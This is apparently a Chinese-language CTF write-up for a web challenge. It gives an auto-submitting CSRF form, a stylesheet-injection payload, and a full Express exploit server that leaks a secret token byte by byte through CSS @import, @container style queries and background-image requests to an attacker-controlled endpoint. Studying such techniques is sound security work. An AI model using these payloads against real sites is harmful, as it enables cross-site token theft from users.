from表单,会默认携带同源cookie,我们可以利用这一点让在admi的账号中添加task
js
<form id="autoSubmitForm" action="http://192.168.6.133/tasks/0" method="post">
<input name="content" value="示例数据">
</form>
<script>
document.getElementById("autoSubmitForm").submit();
</script>
CSS 变量(也称为自定义属性)是 CSS 中用于存储可重用值的强大工具,语法简洁且功能灵活。
定义变量
- 语法:
--variable-name: value;
- 位置: 在 CSS 规则块内定义(如
:root
、类、ID 等) - 命名规则:
- 以
--
开头(如--main-color
) - 区分大小写(
--color
和--Color
不同) - 可包含字母、数字、下划线、连字符
- 以
- 作用域:
- 全局变量:定义在
:root
伪类中(整个文档可用) - 局部变量:定义在特定选择器中(仅限该选择器及子元素)
- 全局变量:定义在
css
/* 全局变量 */
:root {
--primary-color: #3498db;
--spacing: 20px;
}
/* 局部变量 */
.container {
--bg-color: #f0f0f0;
}
考虑如下有效负载
html
<link rel=stylesheet href=/tasks><link rel=stylesheet href=http://localhost:5000/css/justToken{>}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{}*{--x:
他将在/task形成如下有效负载
html
<html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Your Tasks</title>
<style nonce="">
body {
font-family: sans-serif;
background: #fdf6e3;
text-align: center;
padding: 2em;
}
table {
margin: 0 auto;
border-collapse: collapse;
width: 80%;
}
td {
max-width: 300px;
padding: 0.5em 1em;
border-bottom: 1px solid #ccc;
font-size: 1.2em;
}
td.delete {
width: 20px;
}
td.delete button{
margin: 0;
padding: 2px 4px;
}
td.view {
width: 100px;
}
td pre{
word-wrap: break-word;
white-space: pre-wrap;
text-align: left;
}
.btn,
button {
font-size: 0.9em;
padding: 0.5em 0.5em;
margin-top: 1em;
cursor: pointer;
background-color: #eee;
border: 1px solid #aaa;
}
h1 {
font-size: 2em;
}
</style>
</head>
<body>
<h1>Your Tasks</h1>
<table>
<tbody><tr>
<td class="delete">
<form action="/tasks/delete/0">
<button type="submit">X</button>
</form>
</td>
<td class="view">
<form action="/tasks/0" method="GET">
<button type="submit">View Task</button>
</form>
</td>
<td>
<pre><link rel=stylesheet href=/tasks><link rel=stylesheet href=http://localhost:5000/css/justToken{>}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{}*{--x:,
justToken{58...</pre>
</td>
</tr>
</tbody></table>
<form method="POST" action="/tasks/create">
<button class="btn" type="submit">Create New Task</button>
</form>
</body></html>
当经过,这段代码,其将被加载
html
<link rel=stylesheet href=/tasks>
css
... {}*{--x: ← 开始自定义属性声明
...
justToken{58ad2f89269e8b9d216172fa8f2008415d385dd508336d4b} ← 中间出现的"justToken{...}"
... } ← 下一个右大括号结束声明块
-
*{--x:
开启了一个 CSS 自定义属性(custom property)声明。 -
自定义属性的值语法非常宽松:从冒号后一直吞到同层级遇到的下一个
;
或}
为止 ,中间几乎可以包含任意字符(包括成对的{}
)。 -
因为后面恰好出现了
justToken{...}
,再遇到}
结束,所以这个"justToken{...}"会被当作--x
的值 (连同中间的文本一起被吞进去,直到结束的}
为止)。
结果: 在未被 nosniff 拦截的情况下,这份"HTML-as-CSS"会给你的页面应用一条样式:把自定义属性 --x
设为一段包含 justToken{...}
的字符串。自定义属性会参与层叠,你可以在同源页面里读取它 (getComputedStyle
对跨域样式的"影响"是可见的)。
接下来这里的将会与后端有效负载交互引入
html
<link rel=stylesheet href=http://localhost:5000/css/justToken{>
js
app.get('/css/:flag', (req, res) => {
res.set('content-type', 'text/css');
// let css = fs.readFileSync(__dirname + '/leak.css') // 这里注释掉了
let css = '';
let imports = '';
// 生成 16*16 组合的 @import 和 @container
for(let i=0; i<16; i++){
for(let j=0; j<16; j++){
const f = req.params.flag + charset[i] + charset[j];
imports += `@import "/var/${i}_${j}?flag=${f}";`;
css += containerTpl(f, `${i}_${j}`);
}
}
// 生成单字符的 @import 和 @container
[...charset].forEach((c, i) => {
const f = req.params.flag + c;
imports += `@import "/var/${i}?flag=${f}";`;
css += containerTpl(f, i);
})
res.send(imports + css);
});
// 返回带有 CSS 变量的样式
app.get('/var/:id', (req, res)=>{
res.set('content-type', 'text/css');
res.send(variableTpl(req.query.flag, req.params.id));
});
服务器的返回如下
css
@import "/var/0_0?flag=justToken{00";@import "/var/0_1?flag=justToken{01";@import "/var/0_2?flag=justToken{02";@import .....
@container style(--x:var(--y0_0)){
body{
background: red url('/leak/justToken{00');
}
}
@container style(--x:var(--y0_1)){
body{
background: red url('/leak/justToken{01');
}
}......
import负责发送到 /var/:id 其返回如下
css
*{--y5_11:,
justToken{5b...</pre>
</td>
</tr>
</table>
<form method="POST" action="/tasks/create">
<button class="btn" type="submit">Create New Task</button>
</form>
</body>
</html>
理解
@import
和@container
这两个 CSS 规则及其在攻击中的作用至关重要。
1. @import
- CSS 导入规则
基本功能 :
用于在 CSS 文件中导入外部样式表
标准语法:
css
@import url("style.css");
@import "print.css" print; /* 媒体查询 */
在攻击中的作用:
css
@import "/var/0_0?flag=justToken{00";
-
强制浏览器发起请求:
- 浏览器解析 CSS 时会自动请求所有
@import
资源 - 本例中向
/var/0_0?flag=justToken{00
发起 GET 请求
- 浏览器解析 CSS 时会自动请求所有
-
传递敏感数据:
- 通过 URL 参数
flag=justToken{00
将测试的 flag 片段发送到服务器 - 服务器根据这个参数决定是否设置 CSS 变量
- 通过 URL 参数
-
大规模探测:
- 256 个双字符组合 + 16 个单字符组合 = 272 个请求
- 覆盖所有可能的字符组合(如十六进制字符 00-ff)
2. @container
- CSS 容器查询
基本功能 :
根据元素容器的尺寸/样式应用条件样式(类似媒体查询但针对元素而非视口)
标准语法:
css
.component {
container-type: inline-size;
}
@container (min-width: 600px) {
.child { font-size: 2rem; }
}
在攻击中的特殊用法:
css
@container style(--x:var(--y0_0)) {
body {
background: red url('/leak/justToken{00');
}
}
-
样式查询:
style(--x:var(--y0_0))
当最近的容器元素 上的CSS变量--x
的值等于另一个变量--y0_0
的值时,会触发内部的样式规则。(检查是否与/var/:id返回内容一致)- 这是 CSS Containment Level 3 规范中的实验性特性
-
条件触发机制:
- 仅当
--y0_0
变量被定义时(由/var
路由设置) - 才会应用内部的
background
样式
- 仅当
-
数据泄露通道:
cssbackground: red url('/leak/justToken{00');
red
提供视觉反馈(辅助调试)url()
触发图片加载请求,泄露完整测试字符串
根据此原理可逐字泄露
来自官方的完整脚本如下
js
const express = require('express');
const app = express();
const PORT = 5000;
// 十六进制字符集
const charset = '0123456789abcdef'
// expr 用于生成 flag 相关的 HTML 片段
const expr = flag => `,\n${flag}...</pre>\n </td>\n </tr>\n \n </table>\n\n <form method=\"POST\" action=\"/tasks/create\">\n <button class=\"btn\" type=\"submit\">Create New Task</button>\n </form>\n\n</body>\n\n</html>`;
// variableTpl 用于生成带有 CSS 变量的样式
const variableTpl = (flag, i=0) => `*{--y${i}:${expr(flag)}`;
// containerTpl 用于生成 @container 规则,触发 background 请求
const containerTpl = (flag, i=0) => `@container style(--x:var(--y${i})){
body{
background: red url('/leak/${flag}');
}
}\n`;
// 结果存储类,用于管理每个请求的结果和异步通知
class Results{
constructor(){
this.map = new Map();
}
// 获取对应请求的结果对象,如果不存在则新建
get(req){
let r = this.map.get(Results.fingerPrint(req));
if(!r){
this.add(req);
r = this.map.get(Results.fingerPrint(req));
}
return r;
}
// 新增一个请求的结果对象,包含异步通知机制
add(req){
let resolve;
const promise = new Promise(r=>resolve=r);
this.map.set(Results.fingerPrint(req), {
results: [],
update: {promise, resolve}
});
}
// 添加结果,并触发异步通知
addResult(req, value){
const r = this.get(req);
r.results.push(value); // 修复了 bug
r.update.resolve(value);
}
// 清除并重置异步通知
clearUpdate(req){
let resolve;
const promise = new Promise(r=>resolve=r);
const r = this.get(req);
r.update = {promise, resolve};
}
// 生成请求的唯一指纹(IP+UA)
static fingerPrint(req){
return [req.ip, req.headers['user-agent']].join('@#$%^&*(');
}
}
// 全局结果数据库
const resultsDb = new Results;
// 生成动态 CSS,包含大量 @import 和 @container 规则
app.get('/css/:flag', (req, res) => {
res.set('content-type', 'text/css');
// let css = fs.readFileSync(__dirname + '/leak.css') // 这里注释掉了
let css = '';
let imports = '';
// 生成 16*16 组合的 @import 和 @container
for(let i=0; i<16; i++){
for(let j=0; j<16; j++){
const f = req.params.flag + charset[i] + charset[j];
imports += `@import "/var/${i}_${j}?flag=${f}";`;
css += containerTpl(f, `${i}_${j}`);
}
}
// 生成单字符的 @import 和 @container
[...charset].forEach((c, i) => {
const f = req.params.flag + c;
imports += `@import "/var/${i}?flag=${f}";`;
css += containerTpl(f, i);
})
res.send(imports + css);
});
// 返回带有 CSS 变量的样式
app.get('/var/:id', (req, res)=>{
res.set('content-type', 'text/css');
res.send(variableTpl(req.query.flag, req.params.id));
});
// 被 background 请求时,记录 flag 并响应
app.get('/leak/:flag', (req, res) =>{
resultsDb.addResult(req, req.params.flag);
console.log(req.params.flag)
res.send('ok');
})
// 提供 exploit 页面
app.get('/exploit', (req, res) => {
console.log('visit');
res.sendFile(__dirname + '/solve.html');
});
// 轮询接口,等待异步结果
app.get('/poll', async (req, res) => {
const r = resultsDb.get(req);
const result = await r.update.promise;
resultsDb.clearUpdate(req);
res.send(result);
});
// 启动服务
app.listen(PORT, () => console.log(`Server running on http://localhost:${PORT}`));